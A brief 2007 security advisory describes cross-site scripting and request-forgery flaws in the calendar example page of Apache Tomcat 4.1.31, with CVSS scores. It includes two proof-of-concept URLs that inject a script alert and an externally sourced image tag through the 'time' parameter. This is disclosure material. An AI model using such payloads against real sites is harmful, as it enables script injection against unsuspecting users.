Apache tomcat calendar example cross site scripting and cross site request forgery vulnerability

2007.09.07
Credit: Tushar Vartak
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Apache Tomcat/4.1.31 ships with built in examples. One of the example calendar.jsp suffers from input validation error and could be exploited for cross site scriptingand cross site request forgery. XSS http://myserver:myport/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3eale rt("XSS!")%3c%2fscript%3e XSRF http://myserver:myport/examples/jsp/cal/cal2.jsp?time=><img%20src="http: //xsrfxonfirmed.com/testimage.gif"> - Tushar Vartak


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